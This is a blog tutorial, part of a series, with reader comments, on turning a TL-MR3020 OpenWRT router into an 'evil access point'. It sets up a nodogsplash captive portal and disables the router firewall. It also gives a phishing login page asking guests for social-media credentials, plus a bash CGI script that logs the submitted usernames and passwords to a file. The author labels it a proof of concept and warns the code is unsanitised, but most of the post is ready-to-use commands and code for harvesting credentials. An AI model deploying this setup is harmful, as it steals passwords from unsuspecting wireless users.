This is part 2 of the “Building an Evil-AP with TL-MR3020” series. If you haven’t read part 1 you can find it here. Here’s the necessary network information that we setup in part 1.
Network:
Linux Laptop: 10.42.0.1
OpenWRT eth0: 10.42.0.2
OpenWRT wlan0: 10.43.0.1
Guest clients will connect to: 10.43.0.0/24
Captive Portal
A captive portal is a page that will be displayed before a client is allowed to access the internet. It will redirect all http-requests to a page of our choosing. Most often this page will only display a Terms & Agreement that a user need to accept before they are authenticated. The idea is to provide a page which allows the visitor to choose between a couple of social-media sites as authentication. After authentication a user will be assigned a unique token and it will be valid for as long as we specify (or choose to let it be). Many captive portals support that a user will be redirected once it is authenticated, regardless of the site they first requested. It is on this second site (the redirect) the AP will do bad stuff.
We’ll use nodogsplash as our captive portal. It does all that we require and is easy to configure. It is available to be installed with opkg and its source-code is on GitHub if you’re interested.
Installation
Like usual SSH into the device and install. Now the MR3020 should be accessible at 10.42.0.2.
opkg update
opkg install nodogsplash
Configuration
Next we need to edit the configuration file for nodogsplash. Do note that it will contain a lot of comments and standard configurations. I suggest you take a backup and create a new configuration as follows, but it is up to you. We’ll need to specify which interface it should be active on, preauthentication firewall rules and authenticated firewall rules and redirection.
vi /etc/nodogsplash/nodogsplash.conf
GatewayInterface wlan0
FirewallRuleSet authenticated-users {
FirewallRule allow all
}
FirewallRuleSet preauthenticated-users {
FirewallRule allow tcp port 53
FirewallRule allow udp port 53
}
FirewallRuleSet users-to-router {
FirewallRule allow udp port 53
FirewallRule allow tcp port 53
FirewallRule allow udp port 67
FirewallRule allow tcp port 22
FirewallRule allow tcp port 80
FirewallRule allow tcp port 443
FirewallRule allow tcp port 8080
}
GatewayName Free Cookies
Now, you might want to restrict authenticated users more than I have. You can do this my adding more FirewallRules. Here are some (completely random) examples rules you can use as you’d like.
FirewallRule allow tcp port 80 to 123.321.123.321
FirewallRule block to 192.168.0.0/16
FirewallRule block tcp port 80
FirewallRule block udp port 53
I’m not going to set it up but it is also possible to restrict bandwidth for users. Use this link to see how.
Firewall
This service use iptables to control the packets which will cause trouble with OpenWRTs firewall, thus we need to do the only sensible thing. Disable the firewall :)
/etc/init.d/firewall stop
/etc/init.d/firewall disable
Phishing Setup
On port 2050 we’ll serve a page with a login prompt that will post data to a bash cgi-script. Both of these services will be ran on the OpenWRT so the user will be able to visit the pages even when not authenticated. I’m not going to spend time designing or copying web-pages so you’ll have to design your own portal in any way you like. Also note that we’ll authorize a client with the cli tool ndsctl instead of handing the user a token through the webpage. Now you realize we don’t really need 2 http services running, but for clarity and showing how to edit the standard splash page we’ll do it like this. You might want to backup splash.html before we edit it.
Let’s start with firing up a secondary instance of uhttpd on port 8080. I’ll cut out the entire configuration, but you should add the following.
vi /etc/config/uhttpd
config uhttpd phishy
list listen_http '0.0.0.0:8080'
option home /evilap/nodog
option index index.html
option cgi_prefix /cgi-bin
Now we need somewhere to store our cgi and data from the login portal as well as some code.
mkdir -p /evilap/nodog/logs /evilap/nodog/cgi-bin
touch /evilap/nodog/cgi-bin/auth /evilap/nodog/index.html && chmod 755 /evilap/nodog/cgi-bin/auth
cat > /etc/nodogsplash/htdocs/splash.html <<EOF
<html>
<head>
<title>$gatewayname Portal</title>
</head>
<body>
<b> Please authorize yourself with your X social-media account </b><br />
<FORM METHOD="POST" ACTION="http://10.43.0.1:8080/cgi-bin/auth">
Username: <INPUT size=20 name=username VALUE="" type="text">
Password: <INPUT size=20 name=password VALUE="" type="password"><br />
<INPUT TYPE="submit" VALUE="Submit">
<INPUT TYPE="reset" VALUE="Reset">
</FORM>
</body>
</html>
EOF
cat > /evilap/nodog/cgi-bin/auth <<EOF
#!/bin/sh
$(ndsctl auth $REMOTE_ADDR)
postdata=`/bin/cat`
$(echo $postdata >> ./logs/phishy.txt)
echo "Content-type: text/html"
echo
echo '<html><head><title>Free Cookies - Thanks</title></head><body>'
echo "POST Data: $postdata"
echo "</body></html>"
EOF
I really recommend you to not using above code since it is not sanitized, it is only meant as a PoC and should be seen as such. Now, if everything is configured correctly we should be able to start everything up and users connected to the wireless network should be redirected to our captive portal serving a phishing page.
/etc/init.d/nodogsplash enable && /etc/init.d/nodogsplash start
/etc/init.d/uhttpd restart
Here are some screenshots from everything in action. Although a not very convincing phishing page :)
Login page:
That is all for this time, not sure which part I’ll write next but it will be more at least. Please leave a comment if you enjoyed it, feedback, ideas or improvement.
Edit: Part 3 here.
Great stuff :)
This is awesome, hope you put up more/continue the series. I think there’s a lot of potential for these portable routers with openWRT. Have you checked out the ‘minipwner’?
Yes, there are quite a few cool things you can do with em. I’ll make sure to post more once I find the time to write.
I hadn’t heard about the ‘minipwner’ before no, I’ll make sure to check it out. Thanks!
Hello,
Thanks for you information.
Is there any possibility when you are setting nodogsplash in your wifi and another client is connectiong to your wifi and when he will access the wifi and browse any web page that will show the credential page.
Thanks
Abinas Patra
Hey Abinas
I’m not sure if I correctly understand what you mean. However, if I’m reading this right I believe it already should prompt the credential page. Unless, and I might remember this wrong since its been awhile since wrote this, the user browse to a site over HTTPS. Hope that answers your question.